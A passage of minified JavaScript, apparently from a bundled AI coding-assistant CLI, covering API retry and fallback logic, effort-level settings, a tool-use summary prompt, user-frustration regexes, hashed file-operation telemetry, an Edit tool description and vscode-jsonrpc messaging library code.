(\d+)/,q=A.message.match(K);if(!q||q.length!==4)return;if(!q[1]||!q[2]||!q[3]){KA(Error("Unable to parse max_tokens from max_tokens exceed context limit error message"));return}let Y=parseInt(q[1],10),z=parseInt(q[2],10),w=parseInt(q[3],10);if(isNaN(Y)||isNaN(z)||isNaN(w))return;return{inputTokens:Y,maxTokens:z,contextLimit:w}}function LuY(A){if(!(A instanceof r7))return!1;return A.status===529||(A.message?.includes('"type":"overloaded_error"')??!1)}function af7(A){if(P1(process.env.CLAUDE_CODE_USE_BEDROCK)){if(if7(A)||A instanceof r7&&A.status===403)return!0}return!1}function RuY(A){if(af7(A))return kG1(),!0;return!1}function yuY(A){if(q37(A))return!1;if(A.message?.includes('"type":"overloaded_error"'))return!0;if(of7(A))return!0;let K=A.headers?.get("x-should-retry");if(K==="true"&&!Z4())return!0;if(K==="false"){let q=A.status!==void 0&&A.status>=500;return!1}if(A instanceof nj)return!0;if(!A.status)return!1;if(A.status===408)return!0;if(A.status===409)return!0;if(A.status===429)return!Z4();if(A.status===401)return EG1(),!0;if(A.status&&A.status>=500)return!0;return!1}function IuY(A){if(A.maxRetries)return A.maxRetries;if(process.env.CLAUDE_CODE_MAX_RETRIES)return parseInt(process.env.CLAUDE_CODE_MAX_RETRIES,10);return vuY}var vuY=10,xV6=3000,EuY=3,kuY=500,Os,TG1;var q5A=k(()=>{sN();C1();Z1();K7();IH();x4();l1();cT();bV6();BxA();$8();aU();l6();Os=class Os extends Error{originalError;retryContext;constructor(A,K){let q=A instanceof Error?A.message:String(A);super(q);this.originalError=A;this.retryContext=K;if(this.name="RetryError",A instanceof Error&&A.stack)this.stack=A.stack}};TG1=class TG1 extends Error{originalModel;fallbackModel;constructor(A,K){super(`Model fallback triggered: ${A} -> ${K}`);this.originalModel=A;this.fallbackModel=K;this.name="FallbackTriggeredError"}}});function Xs(){return G4("tengu_workout",!1)&&!P1(process.env.CLAUDE_CODE_DISABLE_EFFORT)}function kmA(A){let K=A.toLowerCase();return!["3-5-haiku","haiku-4-5","3-5-sonnet","3-7-sonnet","sonnet-4","opus-4"].some((Y)=>K.includes(Y))}function uV6(A){return Number.isInteger(A)}function tf7(A){if(typeof A==="string")return A;return"high"}function Y5A(){let A=process.env.CLAUDE_CODE_EFFORT_LEVEL;if(A){let Y=parseInt(A,10);if(!isNaN(Y)&&uV6(Y))return Y;if(["low","medium","high","max"].includes(A))return A}let q=J8().effortLevel;if(q!==void 0){if(typeof q==="number"&&uV6(q))return q;if(typeof q==="string"&&["low","medium","high","max"].includes(q))return q}return}var IWA=k(()=>{B7();l6();I8()});var ef7=344;async function KN7({tools:A,signal:K,isNonInteractiveSession:q,lastAssistantText:Y}){if(A.length===0)return null;try{let z=A.map((O)=>{let X=AN7(O.input,300),$=AN7(O.output,300);return`Tool: ${O.name} Input: ${X} Output: ${$}`}).join(` `),w=Y?`User's intent (from assistant's last message): ${Y.slice(0,200)} `:"";return(await D$({systemPrompt:[SuY],userPrompt:`${w}Tools completed: ${z} Provide a brief summary of what was accomplished:`,signal:K,options:{querySource:"tool_use_summary_generation",enablePromptCaching:!0,agents:[],isNonInteractiveSession:q,hasAppendSystemPrompt:!1,mcpTools:[]}})).message.content.filter((O)=>O.type==="text").map((O)=>O.type==="text"?O.text:"").join("").trim()||null}catch(z){let w=z instanceof Error?z:Error(String(z));return w.cause={errorId:ef7},KA(w),null}}function AN7(A,K){try{let q=UA(A);if(q.length<=K)return q;return q.slice(0,K-3)+"..."}catch{return"[unable to serialize]"}}var SuY=`You summarize what was accomplished by a coding assistant. Given the tools executed and their results, provide a brief summary. Rules: - Use past tense (e.g., "Read package.json", "Fixed type error in utils.ts") - Be specific about what was done - Keep under 8 words - Do not include phrases like "I did" or "The assistant" - just describe what happened - Focus on the user-visible outcome, not implementation details Examples: - "Searched codebase for authentication code" - "Read and analyzed Message.tsx component" - "Fixed null pointer exception in data processor" - "Created new user registration endpoint" - "Ran tests and fixed 3 failing assertions"`;var qN7=k(()=>{sz();b1();C1()});function YN7(A){let K=A.toLowerCase();return/\b(wtf|wth|ffs|omfg|shit(ty|tiest)?|dumbass|horrible|awful|piss(ed|ing)? off|piece of (shit|crap|junk)|what the (fuck|hell)|fucking? (broken|useless|terrible|awful|horrible)|fuck you|screw (this|you)|so frustrating|this sucks|damn it)\b/.test(K)}function zN7(A){let K=A.toLowerCase().trim();if(K==="continue")return!0;return/\b(keep going|go on)\b/.test(K)}function wN7(A){let K=A.toLowerCase();return/\b(you'?re absolutely right|you'?re right)\b/.test(K)}import{createHash as HN7}from"crypto";function huY(A){return HN7("sha256").update(A).digest("hex").slice(0,16)}function buY(A){return HN7("sha256").update(A).digest("hex")}function WB(A){let K={operation:A.operation,tool:A.tool,filePathHash:huY(A.filePath)};if(A.content!==void 0&&A.content.length<=xuY)K.contentHash=buY(A.content);if(A.type!==void 0)K.type=A.type;n("tengu_file_operation",K)}var xuY=102400;var LG1=k(()=>{l1()});function uuY(){if(G4("tengu_marble_kite",!1))return"";return` - You must use your \`${eq}\` tool at least once in the conversation before editing. This tool will error if you attempt an edit without reading the file. `}function JN7(){return`Performs exact string replacements in files. Usage:${uuY()} - When editing text from Read tool output, ensure you preserve the exact indentation (tabs/spaces) as it appears AFTER the line number prefix. The line number prefix format is: spaces + line number + tab. Everything after that tab is the actual file content to match. Never include any part of the line number prefix in the old_string or new_string. - ALWAYS prefer editing existing files in the codebase. NEVER write new files unless explicitly required. - Only use emojis if the user explicitly requests it. Avoid adding emojis to files unless asked. - The edit will FAIL if \`old_string\` is not unique in the file. Either provide a larger string with more surrounding context to make it unique or use \`replace_all\` to change every instance of \`old_string\`. - Use \`replace_all\` for replacing and renaming strings across the file. This parameter is useful if you want to rename a variable for instance.`}var ON7=k(()=>{B7();cO()});var SWA=v((_N7)=>{Object.defineProperty(_N7,"__esModule",{value:!0});_N7.stringArray=_N7.array=_N7.func=_N7.error=_N7.number=_N7.string=_N7.boolean=void 0;function BuY(A){return A===!0||A===!1}_N7.boolean=BuY;function XN7(A){return typeof A==="string"||A instanceof String}_N7.string=XN7;function muY(A){return typeof A==="number"||A instanceof Number}_N7.number=muY;function guY(A){return A instanceof Error}_N7.error=guY;function FuY(A){return typeof A==="function"}_N7.func=FuY;function $N7(A){return Array.isArray(A)}_N7.array=$N7;function QuY(A){return $N7(A)&&A.every((K)=>XN7(K))}_N7.stringArray=QuY});var gV6=v((BN7)=>{Object.defineProperty(BN7,"__esModule",{value:!0});BN7.Message=BN7.NotificationType9=BN7.NotificationType8=BN7.NotificationType7=BN7.NotificationType6=BN7.NotificationType5=BN7.NotificationType4=BN7.NotificationType3=BN7.NotificationType2=BN7.NotificationType1=BN7.NotificationType0=BN7.NotificationType=BN7.RequestType9=BN7.RequestType8=BN7.RequestType7=BN7.RequestType6=BN7.RequestType5=BN7.RequestType4=BN7.RequestType3=BN7.RequestType2=BN7.RequestType1=BN7.RequestType=BN7.RequestType0=BN7.AbstractMessageSignature=BN7.ParameterStructures=BN7.ResponseError=BN7.ErrorCodes=void 0;var z5A=SWA(),BV6;(function(A){A.ParseError=-32700,A.InvalidRequest=-32600,A.MethodNotFound=-32601,A.InvalidParams=-32602,A.InternalError=-32603,A.jsonrpcReservedErrorRangeStart=-32099,A.serverErrorStart=-32099,A.MessageWriteError=-32099,A.MessageReadError=-32098,A.PendingResponseRejected=-32097,A.ConnectionInactive=-32096,A.ServerNotInitialized=-32002,A.UnknownErrorCode=-32001,A.jsonrpcReservedErrorRangeEnd=-32000,A.serverErrorEnd=-32000})(BV6||(BN7.ErrorCodes=BV6={}));class mV6 extends Error{constructor(A,K,q){super(K);this.code=z5A.number(A)?A:BV6.UnknownErrorCode,this.data=q,Object.setPrototypeOf(this,mV6.prototype)}toJson(){let A={code:this.code,message:this.message};if(this.data!==void 0)A.data=this.data;return A}}BN7.ResponseError=mV6;class eD{constructor(A){this.kind=A}static is(A){return A===eD.auto||A===eD.byName||A===eD.byPosition}toString(){return this.kind}}BN7.ParameterStructures=eD;eD.auto=new eD("auto");eD.byPosition=new eD("byPosition");eD.byName=new eD("byName");class hJ{constructor(A,K){this.method=A,this.numberOfParams=K}get parameterStructures(){return eD.auto}}BN7.AbstractMessageSignature=hJ;class WN7 extends hJ{constructor(A){super(A,0)}}BN7.RequestType0=WN7;class DN7 extends hJ{constructor(A,K=eD.auto){super(A,1);this._parameterStructures=K}get parameterStructures(){return this._parameterStructures}}BN7.RequestType=DN7;class jN7 extends hJ{constructor(A,K=eD.auto){super(A,1);this._parameterStructures=K}get parameterStructures(){return this._parameterStructures}}BN7.RequestType1=jN7;class MN7 extends hJ{constructor(A){super(A,2)}}BN7.RequestType2=MN7;class PN7 extends hJ{constructor(A){super(A,3)}}BN7.RequestType3=PN7;class VN7 extends hJ{constructor(A){super(A,4)}}BN7.RequestType4=VN7;class fN7 extends hJ{constructor(A){super(A,5)}}BN7.RequestType5=fN7;class NN7 extends hJ{constructor(A){super(A,6)}}BN7.RequestType6=NN7;class TN7 extends hJ{constructor(A){super(A,7)}}BN7.RequestType7=TN7;class vN7 extends hJ{constructor(A){super(A,8)}}BN7.RequestType8=vN7;class EN7 extends hJ{constructor(A){super(A,9)}}BN7.RequestType9=EN7;class kN7 extends hJ{constructor(A,K=eD.auto){super(A,1);this._parameterStructures=K}get parameterStructures(){return this._parameterStructures}}BN7.NotificationType=kN7;class CN7 extends hJ{constructor(A){super(A,0)}}BN7.NotificationType0=CN7;class LN7 extends hJ{constructor(A,K=eD.auto){super(A,1);this._parameterStructures=K}get parameterStructures(){return this._parameterStructures}}BN7.NotificationType1=LN7;class RN7 extends hJ{constructor(A){super(A,2)}}BN7.NotificationType2=RN7;class yN7 extends hJ{constructor(A){super(A,3)}}BN7.NotificationType3=yN7;class IN7 extends hJ{constructor(A){super(A,4)}}BN7.NotificationType4=IN7;class SN7 extends hJ{constructor(A){super(A,5)}}BN7.NotificationType5=SN7;class hN7 extends hJ{constructor(A){super(A,6)}}BN7.NotificationType6=hN7;class bN7 extends hJ{constructor(A){super(A,7)}}BN7.NotificationType7=bN7;class xN7 extends hJ{constructor(A){super(A,8)}}BN7.NotificationType8=xN7;class uN7 extends hJ{constructor(A){super(A,9)}}BN7.NotificationType9=uN7;var ZN7;(function(A){function K(z){let w=z;return w&&z5A.string(w.method)&&(z5A.string(w.id)||z5A.number(w.id))}A.isRequest=K;function q(z){let w=z;return w&&z5A.string(w.method)&&z.id===void 0}A.isNotification=q;function Y(z){let w=z;return w&&(w.result!==void 0||!!w.error)&&(z5A.string(w.id)||z5A.number(w.id)||w.id===null)}A.isResponse=Y})(ZN7||(BN7.Message=ZN7={}))});var QV6=v((QN7)=>{var gN7;Object.defineProperty(QN7,"__esModule",{value:!0});QN7.LRUCache=QN7.LinkedMap=QN7.Touch=void 0;var Aj;(function(A){A.None=0,A.First=1,A.AsOld=A.First,A.Last=2,A.AsNew=A.Last})(Aj||(QN7.Touch=Aj={}));class FV6{constructor(){this[gN7]="LinkedMap",this._map=new Map,this._head=void 0,this._tail=void 0,this._size=0,this._state=0}clear(){this._map.clear(),this._head=void 0,this._tail=void 0,this._size=0,this._state++}isEmpty(){return!this._head&&!this._tail}get size(){return this._size}get first(){return this._head?.value}get last(){return this._tail?.value}has(A){return this._map.has(A)}get(A,K=Aj.None){let q=this._map.get(A);if(!q)return;if(K!==Aj.None)this.touch(q,K);return q.value}set(A,K,q=Aj.None){let Y=this._map.get(A);if(Y){if(Y.value=K,q!==Aj.None)this.touch(Y,q)}else{switch(Y={key:A,value:K,next:void 0,previous:void 0},q){case Aj.None:this.addItemLast(Y);break;case Aj.First:this.addItemFirst(Y);break;case Aj.Last:this.addItemLast(Y);break;default:this.addItemLast(Y);break}this._map.set(A,Y),this._size++}return this}delete(A){return!!this.remove(A)}remove(A){let K=this._map.get(A);if(!K)return;return this._map.delete(A),this.removeItem(K),this._size--,K.value}shift(){if(!this._head&&!this._tail)return;if(!this._head||!this._tail)throw Error("Invalid list");let A=this._head;return this._map.delete(A.key),this.removeItem(A),this._size--,A.value}forEach(A,K){let q=this._state,Y=this._head;while(Y){if(K)A.bind(K)(Y.value,Y.key,this);else A(Y.value,Y.key,this);if(this._state!==q)throw Error("LinkedMap got modified during iteration.");Y=Y.next}}keys(){let A=this._state,K=this._head,q={[Symbol.iterator]:()=>{return q},next:()=>{if(this._state!==A)throw Error("LinkedMap got modified during iteration.");if(K){let Y={value:K.key,done:!1};return K=K.next,Y}else return{value:void 0,done:!0}}};return q}values(){let A=this._state,K=this._head,q={[Symbol.iterator]:()=>{return q},next:()=>{if(this._state!==A)throw Error("LinkedMap got modified during iteration.");if(K){let Y={value:K.value,done:!1};return K=K.next,Y}else return{value:void 0,done:!0}}};return q}entries(){let A=this._state,K=this._head,q={[Symbol.iterator]:()=>{return q},next:()=>{if(this._state!==A)throw Error("LinkedMap got modified during iteration.");if(K){let Y={value:[K.key,K.value],done:!1};return K=K.next,Y}else return{value:void 0,done:!0}}};return q}[(gN7=Symbol.toStringTag,Symbol.iterator)](){return this.entries()}trimOld(A){if(A>=this.size)return;if(A===0){this.clear();return}let K=this._head,q=this.size;while(K&&q>A)this._map.delete(K.key),K=K.next,q--;if(this._head=K,this._size=q,K)K.previous=void 0;this._state++}addItemFirst(A){if(!this._head&&!this._tail)this._tail=A;else if(!this._head)throw Error("Invalid list");else A.next=this._head,this._head.previous=A;this._head=A,this._state++}addItemLast(A){if(!this._head&&!this._tail)this._head=A;else if(!this._tail)throw Error("Invalid list");else A.previous=this._tail,this._tail.next=A;this._tail=A,this._state++}removeItem(A){if(A===this._head&&A===this._tail)this._head=void 0,this._tail=void 0;else if(A===this._head){if(!A.next)throw Error("Invalid list");A.next.previous=void 0,this._head=A.next}else if(A===this._tail){if(!A.previous)throw Error("Invalid list");A.previous.next=void 0,this._tail=A.previous}else{let{next:K,previous:q}=A;if(!K||!q)throw Error("Invalid list");K.previous=q,q.next=K}A.next=void 0,A.previous=void 0,this._state++}touch(A,K){if(!this._head||!this._tail)throw Error("Invalid list");if(K!==Aj.First&&K!==Aj.Last)return;if(K===Aj.First){if(A===this._head)return;let{next:q,previous:Y}=A;if(A===this._tail)Y.next=void 0,this._tail=Y;else q.previous=Y,Y.next=q;A.previous=void 0,A.next=this._head,this._head.previous=A,this._head=A,this._state++}else if(K===Aj.Last){if(A===this._tail)return;let{next:q,previous:Y}=A;if(A===this._head)q.previous=void 0,this._head=q;else q.previous=Y,Y.next=q;A.next=void 0,A.previous=this._tail,this._tail.next=A,this._tail=A,this._state++}}toJSON(){let A=[];return this.forEach((K,q)=>{A.push([q,K])}),A}fromJSON(A){this.clear();for(let[K,q]of A)this.set(K,q)}}QN7.LinkedMap=FV6;class FN7 extends FV6{constructor(A,K=1){super();this._limit=A,this._ratio=Math.min(Math.max(0,K),1)}get limit(){return this._limit}set limit(A){this._limit=A,this.checkTrim()}get ratio(){return this._ratio}set ratio(A){this._ratio=Math.min(Math.max(0,A),1),this.checkTrim()}get(A,K=Aj.AsNew){return super.get(A,K)}peek(A){return super.get(A,Aj.None)}set(A,K){return super.set(A,K,Aj.Last),this.checkTrim(),this}checkTrim(){if(this.size>this._limit)this.trimOld(Math.round(this._limit*this._ratio))}}QN7.LRUCache=FN7});var lN7=v((dN7)=>{Object.defineProperty(dN7,"__esModule",{value:!0});dN7.Disposable=void 0;var pN7;(function(A){function K(q){return{dispose:q}}A.create=K})(pN7||(dN7.Disposable=pN7={}))});var $s=v((iN7)=>{Object.defineProperty(iN7,"__esModule",{value:!0});var UV6;function pV6(){if(UV6===void 0)throw Error("No runtime abstraction layer installed");return UV6}(function(A){function K(q){if(q===void 0)throw Error("No runtime abstraction layer provided");UV6=q}A.install=K})(pV6||(pV6={}));iN7.default=pV6});var hWA=v((oN7)=>{Object.defineProperty(oN7,"__esModule",{value:!0});oN7.Emitter=oN7.Event=void 0;var TBY=$s(),nN7;(function(A){let K={dispose(){}};A.None=function(){return K}})(nN7||(oN7.Event=nN7={}));class rN7{add(A,K=null,q){if(!this._callbacks)this._callbacks=[],this._contexts=[];if(this._callbacks.push(A),this._contexts.push(K),Array.isArray(q))q.push({dispose:()=>this.remove(A,K)})}remove(A,K=null){if(!this._callbacks)return;let q=!1;for(let Y=0,z=this._callbacks.length;Y<z;Y++)if(this._callbacks[Y]===A)if(this._contexts[Y]===K){this._callbacks.splice(Y,1),this._contexts.splice(Y,1);return}else q=!0;if(q)throw Error("When adding a listener with a context, you should remove it with the same context")}invoke(...A){if(!this._callbacks)return[];let K=[],q=this._callbacks.slice(0),Y=this._contexts.slice(0);for(let z=0,w=q.length;z<w;z++)try{K.push(q[z].apply(Y[z],A))}catch(H){(0,TBY.default)().console.error(H)}return K}isEmpty(){return!this._callbacks||this._callbacks.length===0}dispose(){this._callbacks=void 0,this._contexts=void 0}}class RG1{constructor(A){this._options=A}get event(){if(!this._event)this._event=(A,K,q)=>{if(!this._callbacks)this._callbacks=new rN7;if(this._options&&this._options.onFirstListenerAdd&&this._callbacks.isEmpty())this._options.onFirstListenerAdd(this);this._callbacks.add(A,K);let Y={dispose:()=>{if(!this._callbacks)return;if(this._callbacks.remove(A,K),Y.dispose=RG1._noop,this._options&&this._options.onLastListenerRemove&&this._callbacks.isEmpty())this._options.onLastListenerRemove(this)}};if(Array.isArray(q))q.push(Y);return Y};return this._event}fire(A){if(this._callbacks)this._callbacks.invoke.call(this._callbacks,A)}dispose(){if(this._callbacks)this._callbacks.dispose(),this._callbacks=void 0}}oN7.Emitter=RG1;RG1._noop=function(){}});var IG1=v((tN7)=>{Object.defineProperty(tN7,"__esModule",{value:!0});tN7.CancellationTokenSource=tN7.CancellationToken=void 0;var EBY=$s(),kBY=SWA(),dV6=hWA(),yG1;(function(A){A.None=Object.freeze({isCancellationRequested:!1,onCancellationRequested:dV6.Event.None}),A.Cancelled=Object.freeze({isCancellationRequested:!0,onCancellationRequested:dV6.Event.None});function K(q){let Y=q;return Y&&(Y===A.None||Y===A.Cancelled||kBY.boolean(Y.isCancellationRequested)&&!!Y.onCancellationRequested)}A.is=K})(yG1||(tN7.CancellationToken=yG1={}));var CBY=Object.freeze(function(A,K){let q=(0,EBY.default)().timer.setTimeout(A.bind(K),0);return{dispose(){q.dispose()}}});class cV6{constructor(){this._isCancelled=!1}cancel(){if(!this._isCancelled){if(this._isCancelled=!0,this._emitter)this._emitter.fire(void 0),this.dispose()}}get isCancellationRequested(){return this._isCancelled}get onCancellationRequested(){if(this._isCancelled)return CBY;if(!this._emitter)this._emitter=new dV6.Emitter;return this._emitter.event}dispose(){if(this._emitter)this._emitter.dispose(),this._emitter=void 0}}class sN7{get token(){if(!this._token)this._token=new cV6;return this._token}cancel(){if(!this._token)this._token=yG1.Cancelled;else this._token.cancel()}dispose(){if(!this._token)this._token=yG1.None;else if(this._token instanceof cV6)this._token.dispose()}}tN7.CancellationTokenSource=sN7});var HT7=v((zT7)=>{Object.defineProperty(zT7,"__esModule",{value:!0});zT7.SharedArrayReceiverStrategy=zT7.SharedArraySenderStrategy=void 0;var RBY=IG1(),CmA;(function(A){A.Continue=0,A.Cancelled=1})(CmA||(CmA={}));class AT7{constructor(){this.buffers=new Map}enableCancellation(A){if(A.id===null)return;let K=new SharedArrayBuffer(4),q=new Int32Array(K,0,1);q[0]=CmA.Continue,this.buffers.set(A.id,K),A.$cancellationData=K}async sendCancellation(A,K){let q=this.buffers.get(K);if(q===void 0)return;let Y=new Int32Array(q,0,1);Atomics.store(Y,0,CmA.Cancelled)}cleanup(A){this.buffers.delete(A)}dispose(){this.buffers.clear()}}zT7.SharedArraySenderStrategy=AT7;class KT7{constructor(A){this.data=new Int32Array(A,0,1)}get isCancellationRequested(){return Atomics.load(this.data,0)===CmA.Cancelled}get onCancellationRequested(){throw Error("Cancellation over SharedArrayBuffer doesn't support cancellation events")}}class qT7{constructor(A){this.token=new KT7(A)}cancel(){}dispose(){}}class YT7{constructor(){this.kind="request"}createCancellationTokenSource(A){let K=A.$cancellationData;if(K===void 0)return new RBY.CancellationTokenSource;return new qT7(K)}}zT7.SharedArrayReceiverStrategy=YT7});var lV6=v((OT7)=>{Object.defineProperty(OT7,"__esModule",{value:!0});OT7.Semaphore=void 0;var IBY=$s();class JT7{constructor(A=1){if(A<=0)throw Error("Capacity must be greater than 0");this._capacity=A,this._active=0,this._waiting=[]}lock(A){return new Promise((K,q)=>{this._waiting.push({thunk:A,resolve:K,reject:q}),this.runNext()})}get active(){return this._active}runNext(){if(this._waiting.length===0||this._active===this._capacity)return;(0,IBY.default)().timer.setImmediate(()=>this.doRunNext())}doRunNext(){if(this._waiting.length===0||this._active===this._capacity)return;let A=this._waiting.shift();if(this._active++,this._active>this._capacity)throw Error("To many thunks active");try{let K=A.thunk();if(K instanceof Promise)K.then((q)=>{this._active--,A.resolve(q),this.runNext()},(q)=>{this._active--,A.reject(q),this.runNext()});else this._active--,A.resolve(K),this.runNext()}catch(K){this._active--,A.reject(K),this.runNext()}}}OT7.Semaphore=JT7});var WT7=v((GT7)=>{Object.defineProperty(GT7,"__esModule",{value:!0});GT7.ReadableStreamMessageReader=GT7.AbstractMessageReader=GT7.MessageReader=void 0;var nV6=$s(),bWA=SWA(),iV6=hWA(),SBY=lV6(),$T7;(function(A){function K(q){let Y=q;return Y&&bWA.func(Y.listen)&&bWA.func(Y.dispose)&&bWA.func(Y.onError)&&bWA.func(Y.onClose)&&bWA.func(Y.onPartialMessage)}A.is=K})($T7||(GT7.MessageReader=$T7={}));class oV6{constructor(){this.errorEmitter=new iV6.Emitter,this.closeEmitter=new iV6.Emitter,this.partialMessageEmitter=new iV6.Emitter}dispose(){this.errorEmitter.dispose(),this.closeEmitter.dispose()}get onError(){return this.errorEmitter.event}fireError(A){this.errorEmitter.fire(this.asError(A))}get onClose(){return this.closeEmitter.event}fireClose(){this.closeEmitter.fire(void 0)}get onPartialMessage(){return this.partialMessageEmitter.event}firePartialMessage(A){this.partialMessageEmitter.fire(A)}asError(A){if(A instanceof Error)return A;else return Error(`Reader received error. Reason: ${bWA.string(A.message)?A.message:"unknown"}`)}}GT7.AbstractMessageReader=oV6;var rV6;(function(A){function K(q){let Y,z,w,H=new Map,J,O=new Map;if(q===void 0||typeof q==="string")Y=q??"utf-8";else{if(Y=q.charset??"utf-8",q.contentDecoder!==void 0)w=q.contentDecoder,H.set(w.name,w);if(q.contentDecoders!==void 0)for(let X of q.contentDecoders)H.set(X.name,X);if(q.contentTypeDecoder!==void 0)J=q.contentTypeDecoder,O.set(J.name,J);if(q.contentTypeDecoders!==void 0)for(let X of q.contentTypeDecoders)O.set(X.name,X)}if(J===void 0)J=(0,nV6.default)().applicationJson.decoder,O.set(J.name,J);return{charset:Y,contentDecoder:w,contentDecoders:H,contentTypeDecoder:J,contentTypeDecoders:O}}A.fromOptions=K})(rV6||(rV6={}));class _T7 extends oV6{constructor(A,K){super();this.readable=A,this.options=rV6.fromOptions(K),this.buffer=(0,nV6.default)().messageBuffer.create(this.options.charset),this._partialMessageTimeout=1e4,this.nextMessageLength=-1,this.messageToken=0,this.readSemaphore=new SBY.Semaphore(1)}set partialMessageTimeout(A){this._partialMessageTimeout=A}get partialMessageTimeout(){return this._partialMessageTimeout}listen(A){this.nextMessageLength=-1,this.messageToken=0,this.partialMessageTimer=void 0,this.callback=A;let K=this.readable.onData((q)=>{this.onData(q)});return this.readable.onError((q)=>this.fireError(q)),this.readable.onClose(()=>this.fireClose()),K}onData(A){try{this.buffer.append(A);while(!0){if(this.nextMessageLength===-1){let q=this.buffer.tryReadHeaders(!0);if(!q)return;let Y=q.get("content-length");if(!Y){this.fireError(Error(`Header must provide a Content-Length property. ${JSON.stringify(Object.fromEntries(q))}`));return}let z=parseInt(Y);if(isNaN(z)){this.fireError(Error(`Content-Length value must be a number. Got ${Y}`));return}this.nextMessageLength=z}let K=this.buffer.tryReadBody(this.nextMessageLength);if(K===void 0){this.setPartialMessageTimer();return}this.clearPartialMessageTimer(),this.nextMessageLength=-1,this.readSemaphore.lock(async()=>{let q=this.options.contentDecoder!==void 0?await this.options.contentDecoder.decode(K):K,Y=await this.options.contentTypeDecoder.decode(q,this.options);this.callback(Y)}).catch((q)=>{this.fireError(q)})}}catch(K){this.fireError(K)}}clearPartialMessageTimer(){if(this.partialMessageTimer)this.partialMessageTimer.dispose(),this.partialMessageTimer=void 0}setPartialMessageTimer(){if(this.clearPartialMessageTimer(),this._partialMessageTimeout<=0)return;this.partialMessageTimer=(0,nV6.default)().timer.setTimeout((A,K)=>{if(this.partialMessageTimer=void 0,A===this.messageToken)this.firePartialMessage({messageToken:A,waitingTime:K}),this.setPartialMessageTimer()},this._partialMessageTimeout,this.messageToken,this._partialMessageTimeout)}}GT7.ReadableStreamMessageReader=_T7});var TT7=v((fT7)=>{Object.defineProperty(fT7,"__esModule",{value:!0});fT7.WriteableStreamMessageWriter=fT7.AbstractMessageWriter=fT7.MessageWriter=void 0;var DT7=$s(),LmA=SWA(),xBY=lV6(),jT7=hWA(),uBY="Content-Length: ",MT7=`\r `,PT7;(function(A){function K(q){let Y=q;return Y&&LmA.func(Y.dispose)&&LmA.func(Y.onClose)&&LmA.func(Y.onError)&&LmA.func(Y.write)}A.is=K})(PT7||(fT7.MessageWriter=PT7={}));class sV6{constructor(){this.errorEmitter=new jT7.Emitter,this.closeEmitter=new jT7.Emitter}dispose(){this.errorEmitter.dispose(),this.closeEmitter.dispose()}get onError(){return this.errorEmitter.event}fireError(A,K,q){this.errorEmitter.fire([this.asError(A),K,q])}get onClose(){return this.closeEmitter.event}fireClose(){this.closeEmitter.fire(void 0)}asError(A){if(A instanceof Error)return A;else return Error(`Writer received error. Reason: ${LmA.string(A.message)?A.message:"unknown"}`)}}fT7.AbstractMessageWriter=sV6;var aV6;(function(A){function K(q){if(q===void 0||typeof q==="string")return{charset:q??"utf-8",contentTypeEncoder:(0,DT7.default)().applicationJson.encoder};else return{charset:q.charset??"utf-8",contentEncoder:q.contentEncoder,contentTypeEncoder:q.contentTypeEncoder??(0,DT7.default)().applicationJson.encoder}}A.fromOptions=K})(aV6||(aV6={}));class VT7 extends sV6{constructor(A,K){super();this.writable=A,this.options=aV6.fromOptions(K),this.errorCount=0,this.writeSemaphore=new xBY.Semaphore(1),this.writable.onError((q)=>this.fireError(q)),this.writable.onClose(()=>this.fireClose())}async write(A){return this.writeSemaphore.lock(async()=>{return this.options.contentTypeEncoder.encode(A,this.options).then((q)=>{if(this.options.contentEncoder!==void 0)return this.options.contentEncoder.encode(q);else return q}).then((q)=>{let Y=[];return Y.push(uBY,q.byteLength.toString(),MT7),Y.push(MT7),this.doWrite(A,Y,q)},(q)=>{throw this.fireError(q),q})})}async doWrite(A,K,q){try{return await this.writable.write(K.join(""),"ascii"),this.writable.write(q)}catch(Y){return this.handleError(Y,A),Promise.reject(Y)}}handleError(A,K){this.errorCount++,this.fireError(A,K,this.errorCount)}end(){this.writable.end()}}fT7.WriteableStreamMessageWriter=VT7});var CT7=v((ET7)=>{Object.defineProperty(ET7,"__esModule",{value:!0});ET7.AbstractMessageBuffer=void 0;var gBY=13,FBY=10,QBY=`\r `;class vT7{constructor(A="utf-8"){this._encoding=A,this._chunks=[],this._totalLength=0}get encoding(){return this._encoding}append(A){let K=typeof A==="string"?this.fromString(A,this._encoding):A;this._chunks.push(K),this._totalLength+=K.byteLength}tryReadHeaders(A=!1){if(this._chunks.length===0)return;let K=0,q=0,Y=0,z=0;A:while(q<this._chunks.length){let O=this._chunks[q];Y=0;K:while(Y<O.length){switch(O[Y]){case gBY:switch(K){case 0:K=1;break;case 2:K=3;break;default:K=0}break;case FBY:switch(K){case 1:K=2;break;case 3:K=4,Y++;break A;default:K=0}break;default:K=0}Y++}z+=O.byteLength,q++}if(K!==4)return;let w=this._read(z+Y),H=new Map,J=this.toString(w,"ascii").split(QBY);if(J.length<2)return H;for(let O=0;O<J.length-2;O++){let X=J[O],$=X.indexOf(":");if($===-1)throw Error(`Message header must separate key and value using ':' ${X}`);let _=X.substr(0,$),G=X.substr($+1).trim();H.set(A?_.toLowerCase():_,G)}return H}tryReadBody(A){if(this._totalLength<A)return;return this._read(A)}get numberOfBytes(){return this._totalLength}_read(A){if(A===0)return this.emptyBuffer();if(A>this._totalLength)throw Error("Cannot read so many bytes!");if(this._chunks[0].byteLength===A){let z=this._chunks[0];return this._chunks.shift(),this._totalLength-=A,this.asNative(z)}if(this._chunks[0].byteLength>A){let z=this._chunks[0],w=this.asNative(z,A);return this._chunks[0]=z.slice(A),this._totalLength-=A,w}let K=this.allocNative(A),q=0,Y=0;while(A>0){let z=this._chunks[Y];if(z.byteLength>A){let w=z.slice(0,A);K.set(w,q),q+=A,this._chunks[Y]=z.slice(A),this._totalLength-=A,A-=A}else K.set(z,q),q+=z.byteLength,this._chunks.shift(),this._totalLength-=z.byteLength,A-=z.byteLength}return K}}ET7.AbstractMessageBuffer=vT7});var mT7=v((hT7)=>{Object.defineProperty(hT7,"__esModule",{value:!0});hT7.createMessageConnection=hT7.ConnectionOptions=hT7.MessageStrategy=hT7.CancellationStrategy=hT7.CancellationSenderStrategy=hT7.CancellationReceiverStrategy=hT7.RequestCancellationReceiverStrategy=hT7.IdCancellationReceiverStrategy=hT7.ConnectionStrategy=hT7.ConnectionError=hT7.ConnectionErrors=hT7.LogTraceNotification=hT7.SetTraceNotification=hT7.TraceFormat=hT7.TraceValues=hT7.Trace=hT7.NullLogger=hT7.ProgressType=hT7.ProgressToken=void 0;var LT7=$s(),jO=SWA(),bq=gV6(),RT7=QV6(),RmA=hWA(),tV6=IG1(),SmA;(function(A){A.type=new bq.NotificationType("$/cancelRequest")})(SmA||(SmA={}));var eV6;(function(A){function K(q){return typeof q==="string"||typeof 